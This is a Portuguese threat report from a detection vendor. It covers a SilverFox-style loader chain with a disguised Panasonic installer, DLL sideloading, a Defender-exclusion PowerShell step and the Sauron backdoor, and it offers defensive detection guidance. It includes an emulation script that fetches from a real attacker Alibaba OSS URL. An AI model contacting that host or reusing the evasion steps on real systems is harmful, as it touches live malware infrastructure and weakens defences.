Cadeia de Carregador Estilo SilverFox Utiliza Shells Panasonic, Alibaba OSS e Sauron

SOC Prime Team

Seguir

Cadeia de Carregador Estilo SilverFox Utiliza Shells Panasonic, Alibaba OSS e Sauron

Detection stack

AIDR
Alert
ETL
Query

Relatório de Ameaça
Fluxo de Ataque
Detecções
Simulações

Resumo

Essa ameaça se concentra em uma cadeia de carregadores multistágio altamente sofisticada disfarçada como software legítimo da Panasonic. O malware usa o Alibaba OSS para entregar cargas e conta com portadores criptografados baseados em imagem que usam um formato distinto de trailer EOF de cinco bytes. Sua fase final implanta o backdoor Sauron, que mantém a persistência por meio da criação de serviços e alterações específicas no registro.

Investigação

Analistas conduziram tanto análise estática quanto dinâmica e descobriram uma sequência de operações de carregamento lateral envolvendo binários rotulados como software Tencent e Philips. A investigação expôs uma rotina de descriptografia em camadas usando XOR incremental e RC4, juntamente com a criação de tarefas agendadas por mecanismos RPC. A forense de memória e a telemetria sandbox ajudaram a reconstruir o caminho completo de execução, desde o wrapper temático da Panasonic inicial até o backdoor final Sauron.

Mitigação

As organizações devem monitorar a criação de tarefas agendadas não autorizadas baseadas em RPC e a criação suspeita de tarefas agendadas através de NdrClientCall3. Listas de permissões fortes de aplicativos podem ajudar a bloquear a execução de DLLs carregadas lateralmente não aprovadas. Os defensores também devem monitorar a exclusão inesperada de cópias de sombra de volume e modificações suspeitas no registro sob HKCUSOFTWARE.

Resposta

Se essa atividade for detectada, isole imediatamente os sistemas afetados para interromper o movimento lateral adicional ou a comunicação de comando e controle. Conduza uma análise de memória para identificar os módulos injetados e determine o estágio atual da cadeia de carregadores. Os registros da rede também devem ser revisados para tráfego para a infraestrutura do Alibaba OSS e os endereços IP de comando e controle conhecidos identificados durante a triagem.

graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef evasion fill:#ccffcc classDef persistence fill:#ffff99 %% Node Definitions %% Initial Access and Execution exec_user_malicious[“Ação – Execução do Usuário: Arquivo Malicioso Arquivo: ainstaller-86533005.exe Descrição: Usuário executa executável trojanizado disfarçado como software de Notificação PC Panasonic.”] class exec_user_malicious action %% Obfuscation and Masquerading obf_files[“Arquivos ou Informações Ofuscados Técnica: Buffers em camadas múltiplas Mecanismo: Decodificação customizada XOR/RC4 Extração: Trailer EOF de cinco bytes de portadores de imagem.”] class obf_files malware mask_file_type[“Mascaramento: Tipo de Arquivo Mascarado Descrição: Usando extensões de imagem (gif, jpg, png, db) para ocultar cargas criptografadas.”] class mask_file_type evasion %% Proxy Execution proxy_sys_bin[“Execução de Proxy de Binário do Sistema Alvo 1: Tencent UxEnhanceHost carregando UxEnhance64.dll Alvo 2: Philips/Speech Processing Solutions carregando XPSPLOG.dll”] class proxy_sys_bin action %% Persistence persist_sched_task[“Tarefa/Trabalho Agendado: Tarefa Agendada Módulo: VirtuOne Mecanismo: Chamadas RPC para o Agendador de Tarefas via \pipeatsvc Objetivo: Criar tarefas ocultas recorrentes.”] class persist_sched_task persistence %% Defense Evasion evade_def_impair[“Impairment de Defesa Ação: Patch ntdll.dll!NtTraceEvent”] class evade_def_impair evasion evade_selective_excl[“Exclusão Seletiva Ferramenta: PowerShell Comando: Add-MpPreference -ExclusionPath Objetivo: Adicionar exclusões no Windows Defender.”] class evade_selective_excl evasion %% Final Stage proxy_rundll32[“Execução de Proxy de Binário do Sistema: Rundll32 Arquivo: rundll32.dat Exportação: Edge Ação: Instala e inicia serviço malicioso.”] class proxy_rundll32 action malware_sauron[“Malware: Sauron Tipo: Serviço Malicioso Capacidade: Backdoor persistente e lançamento de comandos.”] class malware_sauron malware %% Connections %% Flow of execution exec_user_malicious –>|triggers| obf_files obf_files –>|utiliza| mask_file_type mask_file_type –>|leads_to| proxy_sys_bin proxy_sys_bin –>|habilita| persist_sched_task persist_sched_task –>|facilita| evade_def_impair persist_sched_task –>|facilita| evade_selective_excl evade_def_impair –>|prepara ambiente para| proxy_rundll32 evade_selective_excl –>|prepara ambiente para| proxy_rundll32 proxy_rundll32 –>|instala| malware_sauron

Fluxo de Ataque

Narrativa de Ataque & Comandos: O adversário busca baixar uma carga de segunda etapa usando um serviço legítimo de armazenamento em nuvem para se misturar com o tráfego normal. O atacante usa uma linha única de PowerShell para simular um carregador fazendo uma solicitação a uma URL conhecida do SilverFox Alibaba OSS: https://jun616.oss-cn-beijing.aliyuncs.com/tad/payload.exe. Esta ação visa contornar filtros de domínio simples aproveitando a reputação de aliyuncs.com enquanto usa o caminho malicioso específico definido na regra de detecção.

Script de Teste de Regressão:

# Simulação do Indicador de Rede do Carregador SilverFox
# Este script tenta se conectar à URL específica monitorada pela regra Sigma.

$targetUrl = "https://jun616.oss-cn-beijing.aliyuncs.com/tad/test_file.txt"
Write-Host "[!] Simulando conexão de rede SilverFox para: $targetUrl"

try {
    # Usando Invoke-WebRequest para gerar telemetria padrão de proxy HTTP
    $response = Invoke-WebRequest -Uri $targetUrl -Method Get -UseBasicParsing
    Write-Host "[+] Solicitação concluída. Código de Status: $($response.StatusCode)"
}
catch {
    # Esperamos um erro 404 ou de conexão se a URL realmente não hospedar um arquivo,
    # mas o log do proxy ainda registrará a tentativa.
    Write-Host "[-] Solicitação tentada. Verifique os logs do proxy para a tentativa de conexão."
}

Comandos de Limpeza:

# Nenhuma alteração persistente feita por esta simulação; nenhuma limpeza necessária.
Write-Host "[*] Limpeza da simulação concluída."

Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e gerar valor imediato, agende uma reunião agora com os especialistas da SOC Prime.

Cadastre-se Gratuitamente